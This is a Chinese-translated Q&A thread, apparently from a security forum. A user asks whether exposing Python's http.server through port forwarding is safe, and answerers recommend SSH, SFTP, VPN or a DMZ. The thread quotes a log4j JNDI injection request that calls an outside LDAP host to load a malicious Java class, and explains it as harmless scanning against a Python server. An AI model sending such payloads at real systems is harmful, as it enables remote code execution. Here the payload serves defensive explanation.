托管一个可通过 Internet 访问的 Python 的 http.server 是否可以?

san*_*ino 4 python http

python3 -m http.server 8080与端口转发一起运行,以便从任何地方访问我的笔记本电脑上的文件。

但出现了随机连接和一条特别奇怪的线:

GET /${jndi:ldap://185.246.87.50:1389/Exploit}
Run Code Online (Sandbox Code Playgroud)

您可以在此看到更多内容:

在此输入图像描述

我正在做的事情安全吗?如果没有的话,有什么办法可以保证安全吗?也许是登录密码之类的东西?

dir*_*rkt 6

我正在运行 python3 -m http.server 8080 以及端口转发,以便从任何地方访问我的笔记本电脑上的文件。

这可能意味着其他人也可以访问这些文件......所以我希望其中没有您不希望其他人阅读的内容。

但出现了随机连接和一个特别奇怪的行:GET /${jndi:ldap://185.246.87.50:1389/Exploit}。

奇怪的一行意味着人们正在扫描 log4j 漏洞(谷歌),但由于您有一个 Python 服务器而不是 Java,所以这个问题不应该让您担心。(但是其他随机连接应该如此)。

如果没有的话,有什么办法可以保证安全吗?也许是登录密码之类的东西?

如果您不知道如何确保安全(并且如果您不知道自己在做什么,那么遵循您在互联网上找到的随机食谱永远不会使其安全),并且如果您需要它是安全的,我建议采取服务器现在离线。相反,开始使用其他东西(例如VPN,或ssh)。


小智 5

取决于您托管的文件以及您当前使用的身份验证、授权或一般防御机制(据我所知可能没有)。如果文件很敏感,仅使用简单的 HTTP 服务器来提供它们,而不进行任何身份验证/保护可能不是最好的主意。

关于该jndi日志,您会看到:

  • GET /${jndi:ldap://185.246.87.50:1389/Exploit}据我所知,您看到的请求是下载恶意 J​​ava 类的利用请求。
  • 这是一种在野外发现的相当新的利用方法。主要针对应用程序的日志记录机制。
  • 它是由 Java 库 (log4j) 引起的,该库被用于 RCE(远程代码执行)或修补版本的 DOS(拒绝服务)。
  • 由于 Python Simple HTTP Server 仅在 Python 代码上运行(据我所知,再次),因此您无需担心。(除非您还使用不同的应用程序或方法记录 HTTP 请求。)
  • CVE-2021-45046 和 CVE-2021-45105 如果您想了解更多信息,只需 Google 即可。

我的拙见建议:

  1. 由于您当前正在网络上进行端口转发,因此您可以简单地使用 SFTP(安全 FTP)服务来满足您的文件需求。或者只是SCP。
  2. 使用 DMZ 会对您很有帮助。什么是 DMZ?
  3. 如果您在互联网上提供任何服务(无论您使用的服务或端口如何),您都会被检测到并被扫描。如果您已做好应对此类事情的准备(更新、了解暴露的内容、版本等),则无需担心。
  4. 大规模扫描总是发生。(主要是当新的漏洞被公开披露时。)您可以使用不同的方法来防止这种情况。WAF(Web 应用程序防火墙)等。请注意,在大多数情况下,WAF 都可以被绕过。

我会做什么?